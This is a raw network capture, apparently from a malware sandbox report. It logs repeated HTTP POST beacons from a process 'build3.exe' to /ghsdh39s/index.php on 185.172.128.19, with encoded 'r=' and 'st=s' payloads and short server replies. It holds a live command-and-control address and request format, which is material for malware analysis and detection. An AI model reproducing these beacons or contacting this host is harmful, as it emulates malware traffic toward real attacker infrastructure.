Dec 20, 2023 15:37:03.773847103 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:37:03.776398897 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:04.079962015 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	49913	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:04.500005007 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:04.802004099 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:37:04.804637909 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:05.107706070 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	49914	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:05.543298006 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:05.834994078 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	49915	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:06.133702993 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:06.433661938 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	49916	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:06.844454050 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:07.142420053 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	49917	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:07.433975935 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:07.724129915 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	49918	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:08.126780987 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:08.445779085 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	49920	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:08.737586975 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:09.036288977 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	49921	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:09.431421995 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:09.727032900 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	49922	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:10.022799015 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:10.312767029 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	49923	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:10.718697071 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:11.010499001 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	49925	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:11.319154978 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:11.636982918 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	49926	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:12.043837070 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:12.338000059 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	49927	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:12.639684916 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:12.938093901 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	49928	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:13.353249073 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:13.660547972 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	49930	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:13.968775988 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:14.276642084 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	49931	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:15.225595951 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:15.530608892 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:37:15.533179998 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:15.837762117 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	49932	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:16.401735067 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:16.689311981 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	49934	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:16.980232000 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:17.269994020 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	49935	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:17.683470011 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:17.984308958 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	49936	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:18.281115055 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:18.575963020 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	49937	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:18.995506048 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:19.291333914 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	49938	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
